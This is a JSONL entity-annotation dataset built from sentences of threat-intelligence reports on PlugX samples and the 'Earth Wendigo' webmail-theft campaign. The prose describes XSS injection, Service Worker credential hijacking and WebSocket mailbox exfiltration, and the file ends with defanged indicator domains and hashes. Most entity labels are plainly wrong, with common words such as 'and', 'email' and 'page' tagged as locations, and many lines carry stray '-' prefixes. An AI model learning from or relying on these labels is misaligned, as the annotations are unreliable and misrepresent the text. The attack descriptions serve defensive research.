vendors.","entities":[{"id":18983,"label":"malware","start_offset":10,"end_offset":15},{"id":18984,"label":"location","start_offset":16,"end_offset":22},{"id":18985,"label":"location","start_offset":27,"end_offset":31},{"id":18986,"label":"malware","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]} {"id":6137,"text":" Table 6 ","entities":[],"relations":[],"Comments":[]} {"id":6138,"text":"The PlugX sample in Table 7 also targeted the same university as all previous samples.","entities":[{"id":18989,"label":"tools","start_offset":4,"end_offset":9},{"id":18990,"label":"location","start_offset":10,"end_offset":16},{"id":18992,"label":"location","start_offset":46,"end_offset":50},{"id":18993,"label":"location","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]} {"id":6139,"text":"Eight AV vendors correctly identified it.","entities":[],"relations":[],"Comments":[]} {"id":6140,"text":" Table 7 ","entities":[],"relations":[],"Comments":[]} -{"id":6141,"text":"The final new sample using the SSanyong Motor Co., Ltd certificate is an interesting mix.","entities":[{"id":18996,"label":"location","start_offset":14,"end_offset":20}],"relations":[],"Comments":[]} {"id":6142,"text":"It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.","entities":[{"id":18998,"label":"location","start_offset":27,"end_offset":31},{"id":18999,"label":"location","start_offset":47,"end_offset":53},{"id":19001,"label":"location","start_offset":102,"end_offset":115},{"id":19002,"label":"location","start_offset":116,"end_offset":119},{"id":19004,"label":"tools","start_offset":138,"end_offset":144},{"id":19005,"label":"location","start_offset":146,"end_offset":149},{"id":19006,"label":"location","start_offset":169,"end_offset":173},{"id":19008,"label":"location","start_offset":244,"end_offset":248}],"relations":[],"Comments":[]} -{"id":6143,"text":"In addition, it was only detected by two AV vendors.","entities":[{"id":19009,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]} -{"id":6144,"text":" Table 8 We see several indications this is an ongoing campaign, including: These new methods have somewhat limited efficacy, as further C2 commands would be more obviously detectable because the C2 server no longer appears to be a legitimate website.","entities":[{"id":19012,"label":"location","start_offset":56,"end_offset":64}],"relations":[],"Comments":[]} -{"id":6145,"text":"However, it is highly likely there are still more unknowns related to this activity, as the actors conducting it have shown an understanding of basic perimeter network defense and some ability to adapt around it.","entities":[{"id":19013,"label":"location","start_offset":22,"end_offset":28},{"id":19014,"label":"location","start_offset":35,"end_offset":38},{"id":19015,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]} -{"id":6146,"text":" Prior to publishing this blog, we notified both Microsoft and Google of the malicious accounts using their services in an effort to help thwart this malicious activity. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":19017,"label":"location","start_offset":59,"end_offset":62},{"id":19019,"label":"location","start_offset":123,"end_offset":129},{"id":19020,"label":"location","start_offset":233,"end_offset":236},{"id":19021,"label":"location","start_offset":262,"end_offset":267}],"relations":[],"Comments":[]} -{"id":6147,"text":" Please mark, I'm not a robot!","entities":[{"id":19022,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6148,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19023,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":6149,"text":"We discovered a new campaign that has been targeting several organizations — including government organizations, research institutions and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely-used in Taiwan.","entities":[{"id":19024,"label":"location","start_offset":20,"end_offset":28},{"id":19025,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]} -{"id":6150,"text":" With no clear connection to any previous attack group, we gave this new threat actor the name “Earth Wendigo.”","entities":[{"id":19029,"label":"location","start_offset":9,"end_offset":14}],"relations":[],"Comments":[]} {"id":6151,"text":"Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.","entities":[{"id":19031,"label":"location","start_offset":63,"end_offset":68},{"id":19032,"label":"attack-pattern","start_offset":69,"end_offset":77},{"id":19033,"label":"location","start_offset":162,"end_offset":165},{"id":19036,"label":"location","start_offset":220,"end_offset":226}],"relations":[],"Comments":[]} {"id":6152,"text":"However, this is a separate series of attacks from their operation in Taiwan, which this report covers.","entities":[],"relations":[],"Comments":[]} {"id":6153,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]} {"id":6154,"text":"The attack flow of Earth Wendigo’s operation Figure 2.","entities":[{"id":19040,"label":"threat-actor","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]} {"id":6155,"text":"An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.","entities":[{"id":19042,"label":"location","start_offset":16,"end_offset":21},{"id":19043,"label":"attack-pattern","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6156,"text":"The text mentions that someone had tried to log in to the user’s account and that Google had blocked the login attempt.","entities":[{"id":19045,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":6157,"text":"The blue button says, “Check here.” ","entities":[{"id":19047,"label":"location","start_offset":4,"end_offset":8},{"id":19048,"label":"location","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]} {"id":6158,"text":"Initial Access","entities":[],"relations":[],"Comments":[]} -{"id":6159,"text":"and","entities":[{"id":19049,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} {"id":6160,"text":"Propagation","entities":[],"relations":[],"Comments":[]} {"id":6161,"text":"The attack begins with a spear-phishing email that is appended with obfuscated JavaScript.","entities":[{"id":19050,"label":"location","start_offset":25,"end_offset":30},{"id":19051,"label":"attack-pattern","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]} -{"id":6162,"text":"Once the victim opens the email on their webmail page, the appended JavaScript will load malicious scripts from a remote server operated by the threat actor.","entities":[{"id":19052,"label":"location","start_offset":49,"end_offset":53},{"id":19053,"label":"location","start_offset":79,"end_offset":83},{"id":19054,"label":"location","start_offset":84,"end_offset":88},{"id":19055,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]} -{"id":6163,"text":"The scripts are designed to perform malicious behaviors, including: Stealing browser cookies and webmail session keys and then sending them to the remote server.","entities":[{"id":19056,"label":"location","start_offset":12,"end_offset":15},{"id":19057,"label":"location","start_offset":95,"end_offset":98},{"id":19058,"label":"location","start_offset":120,"end_offset":123},{"id":19059,"label":"location","start_offset":137,"end_offset":141},{"id":19060,"label":"location","start_offset":149,"end_offset":155}],"relations":[],"Comments":[]} {"id":6164,"text":"Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.","entities":[],"relations":[],"Comments":[]} {"id":6165,"text":"Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.","entities":[{"id":19061,"label":"location","start_offset":30,"end_offset":35},{"id":19062,"label":"attack-pattern","start_offset":41,"end_offset":50},{"id":19063,"label":"attack-pattern","start_offset":52,"end_offset":55},{"id":19064,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]} -{"id":6166,"text":"Registering a malicious JavaScript code to Service Worker, a web browser feature that allows JavaScript to intercept and manipulate HTTPS requests between client and server.","entities":[{"id":19066,"label":"location","start_offset":117,"end_offset":120},{"id":19067,"label":"location","start_offset":147,"end_offset":154},{"id":19068,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]} {"id":6167,"text":"The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.","entities":[{"id":19069,"label":"location","start_offset":37,"end_offset":40},{"id":19070,"label":"location","start_offset":66,"end_offset":69},{"id":19071,"label":"location","start_offset":89,"end_offset":93},{"id":19072,"label":"location","start_offset":122,"end_offset":126},{"id":19073,"label":"attack-pattern","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} -{"id":6168,"text":"(This is also the first time we found an in-the-wild attack that leverages Service Worker.) Exfiltration of the mailbox","entities":[{"id":19075,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]} {"id":6169,"text":"After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.","entities":[{"id":19076,"label":"attack-pattern","start_offset":69,"end_offset":72},{"id":19077,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":6170,"text":"The Earth Wendigo threat actor will establish a WebSocket connection between the victims and their WebSocket server via a JavaScript backdoor.","entities":[{"id":19079,"label":"location","start_offset":31,"end_offset":35},{"id":19080,"label":"location","start_offset":69,"end_offset":76},{"id":19081,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} -{"id":6171,"text":"The WebSocket server instructs the backdoor on the victim’s browser to read emails from the webmail server and then send the content and attachments of the emails back to the WebSocket server.","entities":[{"id":19082,"label":"location","start_offset":107,"end_offset":110},{"id":19083,"label":"location","start_offset":125,"end_offset":132},{"id":19084,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]} -{"id":6172,"text":"We will share more details of the attack chain in the following paragraphs.","entities":[{"id":19085,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} {"id":6173,"text":"The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside.","entities":[{"id":19086,"label":"location","start_offset":11,"end_offset":15},{"id":19087,"label":"location","start_offset":26,"end_offset":31},{"id":19088,"label":"attack-pattern","start_offset":32,"end_offset":40},{"id":19089,"label":"location","start_offset":93,"end_offset":99}],"relations":[],"Comments":[]} {"id":6174,"text":"The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.","entities":[],"relations":[],"Comments":[]} -{"id":6175,"text":"This is done to evade static security checks.","entities":[{"id":19090,"label":"location","start_offset":22,"end_offset":28},{"id":19091,"label":"location","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]} -{"id":6176,"text":"The email will generate multiple email search requests to the webmail system via the CSS function ”backgroup-image” using their malicious code as a search keyword to make the system register it as a frequently searched keyword.","entities":[{"id":19092,"label":"location","start_offset":10,"end_offset":14},{"id":19093,"label":"location","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]} -{"id":6177,"text":"Next, a new “embed” HTML element is created to load the result of the search suggestion by finding the keyword “java” on the webmail server.","entities":[{"id":19094,"label":"location","start_offset":47,"end_offset":51},{"id":19095,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]} -{"id":6178,"text":"The returned suggestion is the JavaScript code that was searched during the first step and has now been indirectly loaded and used to execute the malicious code.","entities":[{"id":19097,"label":"location","start_offset":87,"end_offset":90},{"id":19098,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":6179,"text":"This approach allows the threat actor to hide their malicious code inside CSS elements to prevent detection by security solutions that employ static analysis.","entities":[{"id":19099,"label":"location","start_offset":111,"end_offset":119},{"id":19100,"label":"location","start_offset":142,"end_offset":148}],"relations":[],"Comments":[]} -{"id":6180,"text":"At the end of this step, the code will create another new script element that will load other malicious JavaScript codes from remote servers.","entities":[{"id":19101,"label":"location","start_offset":34,"end_offset":38},{"id":19102,"label":"location","start_offset":78,"end_offset":82},{"id":19103,"label":"location","start_offset":83,"end_offset":87},{"id":19104,"label":"location","start_offset":126,"end_offset":132}],"relations":[],"Comments":[]} {"id":6181,"text":" Figure 3. The spear-phishing email disguised as an advertisement for a shopping coupon Figure 4.","entities":[{"id":19106,"label":"location","start_offset":19,"end_offset":24},{"id":19107,"label":"attack-pattern","start_offset":25,"end_offset":33},{"id":19108,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]} -{"id":6182,"text":"The malicious JavaScript hidden inside the CSS element Interestingly, we found many other emails that have injected their malicious JavaScript code at the bottom to load their malicious code from remote servers.","entities":[{"id":19110,"label":"location","start_offset":83,"end_offset":87},{"id":19111,"label":"location","start_offset":169,"end_offset":173},{"id":19112,"label":"location","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]} {"id":6183,"text":"However, these emails don’t look like phishing emails and seemed more like real email sent from normal users within the same organization.","entities":[{"id":19113,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":19114,"label":"location","start_offset":54,"end_offset":57},{"id":19115,"label":"location","start_offset":75,"end_offset":79},{"id":19116,"label":"location","start_offset":96,"end_offset":102},{"id":19117,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]} {"id":6184,"text":"Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection.","entities":[{"id":19118,"label":"attack-pattern","start_offset":110,"end_offset":124}],"relations":[],"Comments":[]} -{"id":6185,"text":"This means that all of the emails sent by the victim with the modified mail signature will have the malicious code appended at the end, which is how we found a normal email that was also injected with malicious code.","entities":[{"id":19119,"label":"location","start_offset":5,"end_offset":10},{"id":19120,"label":"location","start_offset":86,"end_offset":90},{"id":19121,"label":"location","start_offset":160,"end_offset":166}],"relations":[],"Comments":[]} {"id":6186,"text":"We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation.","entities":[],"relations":[],"Comments":[]} {"id":6187,"text":" Figure 5. Malicious script appended on the victim’s email signature Figure 6.","entities":[],"relations":[],"Comments":[]} -{"id":6188,"text":"The malicious script used to read and modify the victim’s email signature.","entities":[{"id":19124,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]} {"id":6189,"text":" As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser.","entities":[{"id":19125,"label":"malware","start_offset":77,"end_offset":84},{"id":19126,"label":"location","start_offset":92,"end_offset":96},{"id":19127,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":6190,"text":"The script generates a request to “\/cgi-bin\/start,” which is a wrapper page embedded with the webmail session key.","entities":[{"id":19128,"label":"location","start_offset":44,"end_offset":49},{"id":19129,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]} -{"id":6191,"text":"The script will then extract the session key from the page while also collecting browser cookies.","entities":[{"id":19130,"label":"location","start_offset":11,"end_offset":15},{"id":19131,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6192,"text":"The script will send an HTTP GET request to remove the server with all the collected keys and cookies appended on the query string to transfer the stolen information.","entities":[{"id":19132,"label":"location","start_offset":11,"end_offset":15},{"id":19133,"label":"location","start_offset":90,"end_offset":93},{"id":19134,"label":"location","start_offset":134,"end_offset":142}],"relations":[],"Comments":[]} {"id":6193,"text":"The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database. While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal. Figure 7.","entities":[{"id":19135,"label":"location","start_offset":30,"end_offset":33},{"id":19136,"label":"location","start_offset":34,"end_offset":40},{"id":19137,"label":"attack-pattern","start_offset":47,"end_offset":50},{"id":19138,"label":"attack-pattern","start_offset":91,"end_offset":94},{"id":19139,"label":"location","start_offset":131,"end_offset":134},{"id":19140,"label":"location","start_offset":151,"end_offset":154},{"id":19141,"label":"location","start_offset":237,"end_offset":240},{"id":19142,"label":"location","start_offset":278,"end_offset":284},{"id":19143,"label":"threat-actor","start_offset":348,"end_offset":361}],"relations":[],"Comments":[]} -{"id":6194,"text":"The malicious script to steal the browser cookie and session key Infection of email accounts","entities":[{"id":19145,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]} -{"id":6195,"text":"After the initial execution of malicious code with the approaches we mentioned above, the attacker implemented steps to ensure that their malicious script would be constantly loaded and executed by their targets.","entities":[{"id":19146,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]} {"id":6196,"text":"The actor prepared two different infection methods.","entities":[],"relations":[],"Comments":[]} {"id":6197,"text":"The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.","entities":[{"id":19149,"label":"attack-pattern","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} {"id":6198,"text":"The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.","entities":[{"id":19150,"label":"tools","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]} {"id":6199,"text":"The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.","entities":[{"id":19151,"label":"location","start_offset":13,"end_offset":16},{"id":19152,"label":"attack-pattern","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":6200,"text":"If this is successful, the victim will load the malicious code whenever they access the webmail page with the malicious shortcut added.","entities":[{"id":19153,"label":"location","start_offset":34,"end_offset":38},{"id":19154,"label":"location","start_offset":39,"end_offset":43},{"id":19155,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]} -{"id":6201,"text":"Note that the infection will not impact all of the users on the system simultaneously, but only those with infected mail accounts.","entities":[{"id":19156,"label":"location","start_offset":24,"end_offset":28},{"id":19157,"label":"location","start_offset":33,"end_offset":39},{"id":19158,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]} {"id":6202,"text":"We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020.","entities":[],"relations":[],"Comments":[]} -{"id":6203,"text":"It should not affect those who are using the latest version of the webmail system.","entities":[{"id":19160,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]} {"id":6204,"text":" Figure 8.","entities":[],"relations":[],"Comments":[]} {"id":6205,"text":"A shortcut containing malicious code that was added to the webmail system Figure 9.","entities":[],"relations":[],"Comments":[]} {"id":6206,"text":"The query format used to trigger the XSS vulnerability Service Worker script exploitation","entities":[{"id":19163,"label":"attack-pattern","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} -{"id":6207,"text":"Another way the threat actor infects victims is by registering malicious JavaScript to the Service Worker script, which is a programmable network proxy inside the browser that provides an extended layer for websites and web applications to handle their communications while the network is unreachable.","entities":[{"id":19164,"label":"location","start_offset":8,"end_offset":11},{"id":19165,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]} -{"id":6208,"text":"The security risk of Service Worker has been discussed and demonstrated by both PoC work and academic research — for example, a registered Service Worker could intercept and manipulate the requests between the client and the web server.","entities":[{"id":19166,"label":"location","start_offset":4,"end_offset":12},{"id":19167,"label":"location","start_offset":55,"end_offset":58},{"id":19168,"label":"location","start_offset":89,"end_offset":92},{"id":19169,"label":"location","start_offset":170,"end_offset":173},{"id":19170,"label":"location","start_offset":198,"end_offset":205},{"id":19171,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]} {"id":6209,"text":"By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.","entities":[{"id":19173,"label":"threat-actor","start_offset":51,"end_offset":64},{"id":19174,"label":"location","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]} {"id":6210,"text":"It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration.","entities":[],"relations":[],"Comments":[]} -{"id":6211,"text":"The registered Service Worker script checks the URL path from an intercepted request and performs various responses: For HTTPS POST requests sent to “\/cgi-bin\/login,” which is the API for the authentication of webmail user login and contains the username and password pair, the Service Worker script will copy the pair and send it to a remote server.","entities":[{"id":19175,"label":"location","start_offset":85,"end_offset":88},{"id":19176,"label":"location","start_offset":128,"end_offset":132},{"id":19177,"label":"location","start_offset":230,"end_offset":233},{"id":19178,"label":"location","start_offset":256,"end_offset":259},{"id":19179,"label":"location","start_offset":301,"end_offset":305},{"id":19180,"label":"location","start_offset":320,"end_offset":323},{"id":19181,"label":"location","start_offset":337,"end_offset":343}],"relations":[],"Comments":[]} {"id":6212,"text":"For requests sent to “\/cgi-bin\/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.","entities":[{"id":19182,"label":"location","start_offset":31,"end_offset":36},{"id":19183,"label":"malware","start_offset":50,"end_offset":54},{"id":19184,"label":"location","start_offset":93,"end_offset":97},{"id":19185,"label":"location","start_offset":125,"end_offset":129},{"id":19186,"label":"malware","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]} {"id":6213,"text":"This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server.","entities":[{"id":19187,"label":"location","start_offset":9,"end_offset":13},{"id":19188,"label":"location","start_offset":100,"end_offset":104},{"id":19189,"label":"threat-actor","start_offset":127,"end_offset":140}],"relations":[],"Comments":[]} {"id":6214,"text":"Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.","entities":[{"id":19190,"label":"tools","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} -{"id":6215,"text":" Figure 10. The malicious script used to upload and register the Service Worker script Figure 11. The Service Worker script used to steal credentials and reply to the user with a modified wrapper page Figure 12. The wrapper page with the malicious script (highlighted) Email exfiltration","entities":[{"id":19192,"label":"location","start_offset":53,"end_offset":56},{"id":19193,"label":"location","start_offset":57,"end_offset":65},{"id":19195,"label":"location","start_offset":160,"end_offset":163},{"id":19196,"label":"location","start_offset":206,"end_offset":210},{"id":19198,"label":"location","start_offset":239,"end_offset":243}],"relations":[],"Comments":[]} -{"id":6216,"text":"At the end of the attack, Earth Wendigo delivers a JavaScript code that then creates a WebSocket connection to a remote server and executes the script returned from the server.","entities":[{"id":19200,"label":"location","start_offset":113,"end_offset":119},{"id":19201,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} {"id":6217,"text":"We found that the returned script is a backdoor that gets its instructions from the WebSocket server.","entities":[],"relations":[],"Comments":[]} -{"id":6218,"text":"It has only one command, “get(‘URL’),” to perform a request from the victim’s browser to the webmail server and collect the response back to the WebSocket server. The usage of the backdoor we found, in this case, is for the mailbox exfiltration.","entities":[{"id":19203,"label":"location","start_offset":108,"end_offset":111},{"id":19204,"label":"location","start_offset":207,"end_offset":211}],"relations":[],"Comments":[]} {"id":6219,"text":" Figure 13.","entities":[],"relations":[],"Comments":[]} {"id":6220,"text":"The email exfiltration flow with WebSocket backdoor Figure 14.","entities":[],"relations":[],"Comments":[]} {"id":6221,"text":"The script used to establish WebSocket communication Figure 15.","entities":[],"relations":[],"Comments":[]} -{"id":6222,"text":"The main script of the backdoor used to get the URL payload and send it back to the WebSocket server Figure 16.","entities":[{"id":19208,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} -{"id":6223,"text":"An example of WebSocket communication traffic and email exfiltration flow A typical sequence used for mailbox exfiltration:","entities":[{"id":19210,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]} -{"id":6224,"text":"1. The WebSocket server returns a backdoor script that is executed on the victim’s browser 2. The backdoor sends the webmail session key, browser cookies, webpage location, and browser user agent string back to the WebSocket server to register the victim’s information 3. The WebSocket server sends the command “get(‘\/cgi-bin\/folder_tree2?cmd=…’)” to grab the list of existing mailboxes under the victim’s mail account 4. The WebSocket server sends the command “get(‘\/cgi-bin\/msg_list?cmd=…’)” to grab the list of emails inside a mailbox that they are interested in reading 5. The WebSocket server sends the command, “get(‘\/cgi-bin\/msg_read?cmd=pring_mail&…’)”","entities":[{"id":19211,"label":"location","start_offset":183,"end_offset":186},{"id":19212,"label":"location","start_offset":245,"end_offset":253},{"id":19213,"label":"location","start_offset":375,"end_offset":379},{"id":19214,"label":"location","start_offset":526,"end_offset":530},{"id":19215,"label":"location","start_offset":568,"end_offset":571},{"id":19216,"label":"location","start_offset":586,"end_offset":593}],"relations":[],"Comments":[]} -{"id":6225,"text":"to read the email listed in the response seen in the previous step; it reads each email sequentially from the mailbox and sends it back to the WebSocket server 6. If a stolen email has attachments, the WebSocket server sends the command “get(‘att:\/cgi-bin\/downfile\/…’)” to grab the relevant attachment from the webmail server and slice it into 4096 bytes as chunks to return to the WebSocket server.","entities":[{"id":19217,"label":"location","start_offset":118,"end_offset":121},{"id":19218,"label":"location","start_offset":331,"end_offset":334}],"relations":[],"Comments":[]} -{"id":6226,"text":"These steps are repeatedly performed until they receive the victim’s entire mailbox.","entities":[{"id":19219,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]} {"id":6227,"text":"Additional Findings","entities":[],"relations":[],"Comments":[]} {"id":6228,"text":"Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.","entities":[],"relations":[],"Comments":[]} -{"id":6229,"text":"These malware variants, which are written in Python and compiled as Windows executables, communicate to a malicious domain — the same one used in this attack.","entities":[{"id":19221,"label":"location","start_offset":30,"end_offset":33},{"id":19223,"label":"location","start_offset":52,"end_offset":55},{"id":19225,"label":"location","start_offset":129,"end_offset":133},{"id":19226,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} -{"id":6230,"text":"Most of them are shellcode loaders that load embedded shellcode likely from Cobalt Strike.","entities":[{"id":19227,"label":"location","start_offset":0,"end_offset":4},{"id":19228,"label":"location","start_offset":8,"end_offset":12},{"id":19229,"label":"location","start_offset":13,"end_offset":16},{"id":19230,"label":"location","start_offset":40,"end_offset":44},{"id":19231,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]} -{"id":6231,"text":"Some of them are backdoors that will communicate with the command and control (C&C)) server to request and execute additional python code.","entities":[{"id":19233,"label":"location","start_offset":8,"end_offset":12},{"id":19234,"label":"location","start_offset":13,"end_offset":16},{"id":19235,"label":"location","start_offset":32,"end_offset":36},{"id":19236,"label":"location","start_offset":66,"end_offset":69},{"id":19237,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} {"id":6232,"text":"However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants.","entities":[],"relations":[],"Comments":[]} -{"id":6233,"text":"It’s also not clear how they were delivered to the victims.","entities":[{"id":19238,"label":"location","start_offset":14,"end_offset":19}],"relations":[],"Comments":[]} {"id":6234,"text":" Figure 17.","entities":[],"relations":[],"Comments":[]} {"id":6235,"text":"The Python script decompiled from the malware","entities":[],"relations":[],"Comments":[]} {"id":6236,"text":" Conclusion","entities":[],"relations":[],"Comments":[]} {"id":6237,"text":"While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.","entities":[{"id":19240,"label":"threat-actor","start_offset":6,"end_offset":19},{"id":19241,"label":"location","start_offset":33,"end_offset":38},{"id":19242,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":19243,"label":"location","start_offset":112,"end_offset":116},{"id":19244,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]} {"id":6238,"text":"The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.","entities":[{"id":19245,"label":"location","start_offset":4,"end_offset":10},{"id":19246,"label":"location","start_offset":14,"end_offset":19},{"id":19247,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":19248,"label":"location","start_offset":37,"end_offset":40},{"id":19249,"label":"location","start_offset":67,"end_offset":75},{"id":19250,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]} -{"id":6239,"text":"We also encourage both users and organizations to upgrade their servers to the latest version to prevent compromise via vulnerability exploits.","entities":[{"id":19251,"label":"location","start_offset":29,"end_offset":32}],"relations":[],"Comments":[]} {"id":6240,"text":"To avoid XSS attacks similar to what we described in this report, we recommend adapting Contant-Security-Policy (CSP) for websites.","entities":[{"id":19252,"label":"attack-pattern","start_offset":9,"end_offset":12},{"id":19253,"label":"location","start_offset":96,"end_offset":104}],"relations":[],"Comments":[]} {"id":6241,"text":"Indicators of Compromise Indicator Description Detection mail2000tw[.]com Domain operated by Earth Wendigo bf[.]mail2000tw[.]com Domain operated by Earth Wendigo admin[.]mail2000tw[.]com Domain operated by Earth Wendigo googletwtw[.]com Domain operated by Earth Wendigo bf[.]googletwtw[.]com Domain operated by Earth Wendigo ws[.]googletwtw[.]com Domain operated by Earth Wendigo admin[.]googletwtw[.]com Domain operated by Earth Wendigo anybodyopenfind[.]com Domain operated by Earth Wendigo support[.]anybodyopenfind[.]com Domain operated by Earth Wendigo supports[.]anybodyopenfind[.]com Domain operated by Earth Wendigo supportss[.]anybodyopenfind[.]com Domain operated by Earth Wendigo a61e84ac9b9d3009415c7982887dd7834ba2e7c8ea9098f33280d82b9a81f923 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 66cf12bb9b013c30f9db6484caa5d5d0a94683887cded2758886aae1cb5c1c65 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 4cdaca6b01f52092a1dd30fc68ee8f6d679ea6f7a21974e4a3eb8d14be6f5d74 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A f50a589f3b3ebcc326bab55d1ef271dcec372c25d65f381a409ea85929a34b49 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A e047aa878f9e7a55a80cc1b70d0ac9840251691e91ab6454562afbff427b0879 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A a1a6dc2a6c795fc315085d00aa7fdabd1f043b28c68d4f98d4152fe539f026f1 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 10d2158828b953ff1140376ceb79182486525fd14b98f743dafa317110c1b289 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 0e04a03afa5b66014457136fb4d437d51da9067dc88452f9ebd098d10c97c5b8 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A 75f3f724a2bfda1e74e0de36ff6a12d3f2ea599a594845d7e6bc7c76429e0fa4 Earth Wendigo XSS attack script Trojan.JS.WENDIGOE.A c3bc364409bb0c4453f6d80351477ff8a13a1acdc5735a9dff4ea4b3f5ad201c Earth Wendigo XSS 